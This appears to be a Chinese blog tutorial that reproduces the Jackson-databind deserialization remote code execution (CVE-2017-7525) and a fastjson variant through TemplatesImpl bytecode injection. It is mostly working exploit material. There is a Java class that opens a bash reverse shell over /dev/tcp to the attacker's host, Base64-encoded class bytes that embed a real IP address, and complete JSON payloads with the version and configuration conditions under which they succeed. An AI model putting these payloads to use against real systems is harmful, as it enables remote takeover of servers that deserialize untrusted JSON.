Jackson远程代码执行漏洞复现(不使用vulhub,手写transletBytecodes字段)
今天花了一天的时间复现Jackson远程代码执行漏洞,查询vulhub可以看到存在CVE-2017-7525的漏洞环境,根据网上的教程,的确可以复现成功。
但是!我发现很多教程都只是复现一遍而已,根本就不知道原理,很明显的一点就是:他们根本不知道如何修改transletBytecodes的值!
接下来我教你如何修改transletBytecodes的值,把一个目标机器的bash弹到公网上
其实很简单:
0x0 写一个Exploit类:
1 import com.sun.org.apache.xalan.internal.xsltc.DOM; 2 import com.sun.org.apache.xalan.internal.xsltc.TransletException; 3 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 4 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 5 import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 6 7 import java.io.IOException; 8 9 public class Exploit extends AbstractTranslet { 10 11 12 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { 13 } 14 15 16 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 17 18 } 19 20 public Exploit() throws IOException { 21 try { 22 String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/4455 0>&1"}; 23 Process p = Runtime.getRuntime().exec(commands); 24 p.waitFor(); 25 } catch (InterruptedException e) { 26 e.printStackTrace(); 27 } 28 } 29 30 public static void main(String[] args) throws IOException { 31 Exploit helloworld = new Exploit(); 32 } 33 }
注意看其中的第22行,你需要把其中的ip修改成你自己的公网ip
0x01 在公网上使用nc监听:
0x02 把Exploit.java编译成Exploit.class
注意使用jdk1.5编译(不需要下载jdk1.5,可以使用maven项目,在pom.xml中指定编译版本)
javac Exploit.java
0x03 执行如下代码,把Exploit.class字节流进行Base64编码:
1 import org.apache.commons.codec.binary.Base64; 2 import org.apache.commons.io.IOUtils; 3 4 import java.io.ByteArrayOutputStream; 5 import java.io.File; 6 import java.io.FileInputStream; 7 import java.io.IOException; 8 9 public class Main { 10 public static void main(String[] args) { 11 ByteArrayOutputStream bos = new ByteArrayOutputStream(); 12 try { 13 IOUtils.copy(new FileInputStream(new File("/Users/admin/Exploit.class")), bos); 14 } catch (IOException e) { 15 e.printStackTrace(); 16 } 17 String result = Base64.encodeBase64String(bos.toByteArray()); 18 System.out.println(result); 19 } 20 }
注意其中的第13行,修改为你自己的Exploit.class所在的路径
运行结果如下:
yv66vgAAADEASAoADQAvBwAwCAAxCAAyCAAzCgA0ADUKADQANgoANwA4BwA5CgAJADoHADsKAAsALwcAPAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHkxuZXQvcXV0b3V0aWFvL2V4cC9ldmlsQ2xhc3MxOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAPQEABjxpbml0PgEAAygpVgEACGNvbW1hbmRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQABZQEAIExqYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb247BwA+AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQAKaGVsbG93b3JsZAEAClNvdXJjZUZpbGUBAA9ldmlsQ2xhc3MxLmphdmEMACAAIQEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBACpiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwMi4yMTIuMi80NDU1IDA+JjEHAD8MAEAAQQwAQgBDBwBEDABFAEYBAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24MAEcAIQEAHG5ldC9xdXRvdXRpYW8vZXhwL2V2aWxDbGFzczEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAAd3YWl0Rm9yAQADKClJAQAPcHJpbnRTdGFja1RyYWNlACEACwANAAAAAAAEAAEADgAPAAEAEAAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAAPABIAAAAqAAQAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAAAABABkAGgADAAEADgAbAAIAEAAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAAUABIAAAAgAAMAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAHgAAAAQAAQAfAAEAIAAhAAIAEAAAAJoABAADAAAALiq3AAEGvQACWQMSA1NZBBIEU1kFEgVTTLgABiu2AAdNLLYACFenAAhMK7YACrEAAQAEACUAKAAJAAIAEQAAACIACAAAABYABAAYABgAGQAgABoAJQAdACgAGwApABwALQAeABIAAAAqAAQAGAANACIAIwABACAABQAkACUAAgApAAQAJgAnAAEAAAAuABMAFAAAAB4AAAAEAAEAKAAJACkAKgACABAAAABBAAIAAgAAAAm7AAtZtwAMTLEAAAACABEAAAAKAAIAAAAhAAgAIgASAAAAFgACAAAACQArACMAAAAIAAEALAAUAAEAHgAAAAQAAQAoAAEALQAAAAIALg==
0x04 把得到结果的替换如下的transletBytecodes的字段内容,运行。
注意其中的第12行,开启enableDefaultTyping是必须的,只有开启了,才会识别json字符串中的类型,并转化成对应的类型,如com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
1 package net.qutoutiao; 2 3 import com.fasterxml.jackson.databind.ObjectMapper; 4 5 import java.io.IOException; 6 7 public class Main { 8 public static void main(String[] args) { 9 String json = "[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", {\"transletBytecodes\": [\"yv66vgAAADEASAoADQAvBwAwCAAxCAAyCAAzCgA0ADUKADQANgoANwA4BwA5CgAJADoHADsKAAsALwcAPAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHkxuZXQvcXV0b3V0aWFvL2V4cC9ldmlsQ2xhc3MxOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAPQEABjxpbml0PgEAAygpVgEACGNvbW1hbmRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQABZQEAIExqYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb247BwA+AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQAKaGVsbG93b3JsZAEAClNvdXJjZUZpbGUBAA9ldmlsQ2xhc3MxLmphdmEMACAAIQEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBACpiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwMi4yMTIuMi80NDU1IDA+JjEHAD8MAEAAQQwAQgBDBwBEDABFAEYBAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24MAEcAIQEAHG5ldC9xdXRvdXRpYW8vZXhwL2V2aWxDbGFzczEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAAd3YWl0Rm9yAQADKClJAQAPcHJpbnRTdGFja1RyYWNlACEACwANAAAAAAAEAAEADgAPAAEAEAAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAAPABIAAAAqAAQAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAAAABABkAGgADAAEADgAbAAIAEAAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAAUABIAAAAgAAMAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAHgAAAAQAAQAfAAEAIAAhAAIAEAAAAJoABAADAAAALiq3AAEGvQACWQMSA1NZBBIEU1kFEgVTTLgABiu2AAdNLLYACFenAAhMK7YACrEAAQAEACUAKAAJAAIAEQAAACIACAAAABYABAAYABgAGQAgABoAJQAdACgAGwApABwALQAeABIAAAAqAAQAGAANACIAIwABACAABQAkACUAAgApAAQAJgAnAAEAAAAuABMAFAAAAB4AAAAEAAEAKAAJACkAKgACABAAAABBAAIAAgAAAAm7AAtZtwAMTLEAAAACABEAAAAKAAIAAAAhAAgAIgASAAAAFgACAAAACQArACMAAAAIAAEALAAUAAEAHgAAAAQAAQAoAAEALQAAAAIALg==\"], \"transletName\": \"a.b\", \"outputProperties\": {} }]"; 10 try { 11 ObjectMapper objectMapper = new ObjectMapper(); 12 objectMapper.enableDefaultTyping(); 13 Object o = objectMapper.readValue(json, Object.class); 14 System.out.println(o); 15 } catch (IOException e) { 16 e.printStackTrace(); 17 } 18 } 19 }
此时公网vps上已经获得一个bash!
注意点:此次实验的成功与否,跟jackson的版本有关,本次实验使用的是Jackson-databind 2.7.3
经过测试,Jackson-databind 2.9.3复现失败,会提示prevented for security reasons
据我猜测是TemplatesImpl从某一版本开始,被加入了黑名单。
现在下班了,等我下次有空,我再具体找找看是从哪一个版本开始,TemplatesImpl被加入黑名单
顺带提一下fastjson的远程命令执行的写法:
1 package net.qutoutiao.fastjsonexploit; 2 3 import com.alibaba.fastjson.JSON; 4 import com.alibaba.fastjson.parser.Feature; 5 import com.alibaba.fastjson.parser.ParserConfig; 6 7 public class Main { 8 public static void main(String[] args) { 9 String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADEASAoADQAvBwAwCAAxCAAyCAAzCgA0ADUKADQANgoANwA4BwA5CgAJADoHADsKAAsALwcAPAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAG0xuZXQvcXV0b3V0aWFvL2V4cC9FeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAPQEABjxpbml0PgEAAygpVgEACGNvbW1hbmRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQABZQEAIExqYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb247BwA+AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQAHZXhwbG9pdAEAClNvdXJjZUZpbGUBAAxFeHBsb2l0LmphdmEMACAAIQEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBACpiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwMi4yMTIuMi80NDQ0IDA+JjEHAD8MAEAAQQwAQgBDBwBEDABFAEYBAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24MAEcAIQEAGW5ldC9xdXRvdXRpYW8vZXhwL0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAAd3YWl0Rm9yAQADKClJAQAPcHJpbnRTdGFja1RyYWNlACEACwANAAAAAAAEAAEADgAPAAEAEAAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAANABIAAAAqAAQAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAAAABABkAGgADAAEADgAbAAIAEAAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAASABIAAAAgAAMAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAHgAAAAQAAQAfAAEAIAAhAAIAEAAAAJoABAADAAAALiq3AAEGvQACWQMSA1NZBBIEU1kFEgVTTLgABiu2AAdNLLYACFenAAhMK7YACrEAAQAEACUAKAAJAAIAEQAAACIACAAAABQABAAWABgAFwAgABgAJQAbACgAGQApABoALQAcABIAAAAqAAQAGAANACIAIwABACAABQAkACUAAgApAAQAJgAnAAEAAAAuABMAFAAAAB4AAAAEAAEAKAAJACkAKgACABAAAABBAAIAAgAAAAm7AAtZtwAMTLEAAAACABEAAAAKAAIAAAAfAAgAIAASAAAAFgACAAAACQArACMAAAAIAAEALAAUAAEAHgAAAAQAAQAoAAEALQAAAAIALg==\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}\n"; 10 JSON.parseObject(json, Feature.SupportNonPublicField); 11 12 /** 13 * fastjson只会反序列化公开的属性和域, 14 * 而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性, 15 * _name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField, 16 * 这样_bytecodes字段才会被反序列化。_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法, 17 * 这没关系,我们设置_tfactory为{ },fastjson会调用其无参构造函数得_tfactory对象, 18 * 这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。 19 */ 20 } 21 }
仅在fastjson<=1.2.24可使用,fastjson>=1.2.25的版本,需要添加
ParserConfig.getGlobalInstance().addAccept("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); ParserConfig.getGlobalInstance().setAutoTypeSupport(true);